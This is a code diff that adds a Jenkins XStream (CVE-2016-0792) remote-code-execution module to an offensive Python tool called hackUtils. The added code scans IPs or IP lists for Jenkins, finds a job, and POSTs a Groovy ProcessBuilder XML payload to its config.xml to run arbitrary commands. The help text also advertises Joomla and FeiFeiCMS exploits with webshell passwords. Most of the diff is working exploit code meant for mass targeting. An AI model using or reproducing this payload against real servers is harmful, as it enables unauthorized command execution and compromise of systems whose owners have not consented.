@@ -447,7 +447,7 @@ def get_url(url, user_agent):
447
447
headers = {
448
448
'User-Agent' : user_agent
449
449
}
450
- cookies = requests .get (url ,timeout = 10 , headers = headers ).cookies
450
+ cookies = requests .get (url ,headers = headers ).cookies
451
451
for _ in range (3 ):
452
452
response = requests .get (url , timeout = 10 , headers = headers , cookies = cookies )
453
453
return response .content
@@ -609,10 +609,119 @@ def fetchCensys(value,field,page):
609
609
if os .path .exists (output ):
610
610
print "\n [INFO] Fetched IPs/URLs:"
611
611
print "[*] Output File: " + output
612
+
613
+ def rceXStreamJenkins (value ):
614
+ value_ip = value .strip ().split ("::" )[0 ]
615
+ if len (value .strip ().split ("::" ))> 1 :
616
+ value_cmdstr = value .strip ().split ("::" )[1 ]
617
+ else :
618
+ value_cmdstr = ""
619
+ now = time .strftime ('%H:%M:%S' ,time .localtime (time .time ()))
620
+ print "[" + str (now )+ "] [INFO] Checking XStream (Jenkins CVE-2016-0792) Remote Code Execution..."
621
+ if os .path .exists (value_ip .strip ()):
622
+ ipfile = open (value_ip ,'r' )
623
+ for ip in ipfile :
624
+ if ip .strip ():
625
+ checkXStreamJenkins (ip , value_cmdstr )
626
+ ipfile .close ()
627
+ else :
628
+ checkXStreamJenkins (value_ip , value_cmdstr )
629
+ output = os .path .dirname (os .path .realpath (__file__ ))+ "/jenkins.txt"
630
+ if os .path .exists (output ):
631
+ print "\n [INFO] Scanned Vuls:"
632
+ print "[*] Output File: " + output
633
+
634
+ def checkXStreamJenkins (ip , cmdstr ):
635
+ ip = ip .strip ()
636
+ url = getURLFromJenkins (ip )
637
+ if url :
638
+ try :
639
+ result = requests .get (url ,timeout = 10 ).content
640
+ job = getJobFromJenkins (result )
641
+ if job :
642
+ job_url = url + job + "config.xml"
643
+ exploitXStreamJenkins (job_url , cmdstr )
644
+ else :
645
+ print '[!] no job found! url: ' + url
646
+ except Exception ,e :
647
+ print '[!] connection failed! url: ' + url
648
+ else :
649
+ print '[!] connection failed! ip: ' + ip
650
+
651
+ def exploitXStreamJenkins (job_url , cmdstr ):
652
+ command = ""
653
+ if cmdstr == "" :
654
+ command = "<string>dir</string>"
655
+ else :
656
+ cmd = cmdstr .split (" " )
657
+ for str in cmd :
658
+ command += "<string>" + str + "</string>"
659
+ payload = "<map><entry><groovy.util.Expando><expandoProperties><entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegate class=\" groovy.util.Expando\" reference=\" ../../../..\" /><owner class=\" java.lang.ProcessBuilder\" ><command>" + command + "</command><redirectErrorStream>false</redirectErrorStream></owner><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method></org.codehaus.groovy.runtime.MethodClosure></entry></expandoProperties></groovy.util.Expando><int>1</int></entry></map>"
660
+
661
+ try :
662
+ res = requests .post (job_url ,timeout = 10 ,data = payload )
663
+ if res .status_code == 500 :
664
+ html = res .content
665
+ if html :
666
+ reg = '.*java.io.IOException: Unable to read([^<>]*?)at hudson\.XmlFile\.*'
667
+ match = re .search (reg ,html )
668
+ if match :
669
+ job_path = match .group (1 ).strip ()
670
+ if ":" in job_path :
671
+ system = "Windows"
672
+ else :
673
+ system = "Linux/Unix"
674
+ vul = "[+] vuls found! url: " + job_url + ", system: " + system + ", job_path: " + job_path
675
+ logfile (vul ,'jenkins.txt' )
676
+ print vul
677
+ else :
678
+ print '[!] exploit failed! job_url: ' + job_url
679
+ else :
680
+ print '[!] exploit failed! job_url: ' + job_url
681
+ else :
682
+ print '[!] exploit failed! job_url: ' + job_url
683
+ except Exception :
684
+ print '[!] exploit failed! job_url: ' + job_url
685
+
686
+ def getURLFromJenkins (ip ):
687
+ url1 = "http://" + ip + "/jenkins/"
688
+ url2 = "http://" + ip + ":8080/jenkins/"
689
+ url3 = "http://" + ip + ":8080/"
690
+ url4 = "http://" + ip + "/"
691
+ if returnCodeFromURL (url1 ) == 200 :
692
+ return url1
693
+ elif returnCodeFromURL (url2 ) == 200 :
694
+ return url2
695
+ elif returnCodeFromURL (url3 ) == 200 :
696
+ return url3
697
+ elif returnCodeFromURL (url4 ) == 200 :
698
+ return url4
699
+ else :
700
+ return ""
701
+
702
+ def returnCodeFromURL (url ):
703
+ try :
704
+ res = requests .get (url ,timeout = 10 ).status_code
705
+ return res
706
+ except Exception :
707
+ return ""
708
+
709
+ def getJobFromJenkins (html ):
710
+ try :
711
+ soup = BeautifulSoup (html )
712
+ html = soup .find ('div' , class_ = "dashboard" )
713
+ html_doc = html .find ('table' , id = "projectstatus" )
714
+ href = html_doc .find_all ('a' , class_ = "model-link inside" )[0 ].get ('href' )
715
+ if href :
716
+ return href
717
+ else :
718
+ return ""
719
+ except Exception :
720
+ return ""
612
721
613
722
def myhelp ():
614
723
print "\n +-----------------------------+"
615
- print "| hackUtils v0.0.6 |"
724
+ print "| hackUtils v0.0.7 |"
616
725
print "| Avfisher - avfisher.win |"
617
726
618
727
print "+-----------------------------+\n "
@@ -627,6 +736,7 @@ def myhelp():
627
736
print " -j url|file, --joomla=url|file Exploit SQLi for Joomla 3.2 - 3.4"
628
737
print " -r url|file, --rce=url|file Exploit Remote Code Execution for Joomla 1.5 - 3.4.5 (Password: handle)"
629
738
print " -f url|file, --ffcms=url|file Exploit Remote Code Execution for FeiFeiCMS 2.8 (Password: 1)"
739
+ print " -k ip|file[::cmd], --jenkins=ip|file[::cmd] Exploit Remote Code Execution for XStream (Jenkins CVE-2016-0792)"
630
740
print " -d site, --domain=site Scan subdomains based on specific site"
631
741
print " -e string, --encrypt=string Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)"
632
742
print "\n Examples:"
@@ -641,13 +751,17 @@ def myhelp():
641
751
print " hackUtils.py -r urls.txt"
642
752
print " hackUtils.py -f http://www.feifeicms.com/"
643
753
print " hackUtils.py -f urls.txt"
754
+ print " hackUtils.py -k 10.10.10.10"
755
+ print " hackUtils.py -k 10.10.10.10::dir"
756
+ print " hackUtils.py -k ips.txt"
757
+ print " hackUtils.py -k ips.txt::\" touch /tmp/jenkins\" "
644
758
print " hackUtils.py -d example.com"
645
759
print " hackUtils.py -e text"
646
760
print "\n [!] to see help message of options run with '-h'"
647
761
648
762
def main ():
649
763
try :
650
- options ,args = getopt .getopt (sys .argv [1 :],"hb:g:i:u:w:j:r:f:d:e:" ,["help" ,"baidu=" ,"google=" ,"censysid=" ,"censysurl=" ,"wooyun=" ,"joomla=" ,"rce=" ,"ffcms=" ,"domain=" ,"encrypt=" ])
764
+ options ,args = getopt .getopt (sys .argv [1 :],"hb:g:i:u:w:j:r:f:k: d:e:" ,["help" ,"baidu=" ,"google=" ,"censysid=" ,"censysurl=" ,"wooyun=" ,"joomla=" ,"rce=" ,"ffcms=" , "jenkins =" ,"domain=" ,"encrypt=" ])
651
765
except getopt .GetoptError :
652
766
print "\n [WARNING] error, to see help message of options run with '-h'"
653
767
sys .exit ()
@@ -671,6 +785,8 @@ def main():
671
785
rceJoomla (value )
672
786
if name in ("-f" ,"--ffcms" ):
673
787
rceFeiFeiCMS (value )
788
+ if name in ("-k" ,"--jenkins" ):
789
+ rceXStreamJenkins (value )
674
790
if name in ("-d" ,"--domain" ):
675
791
scanSubDomains ('baidu' ,value ,50 )
676
792
if name in ("-e" ,"--encrypt" ):
0 commit comments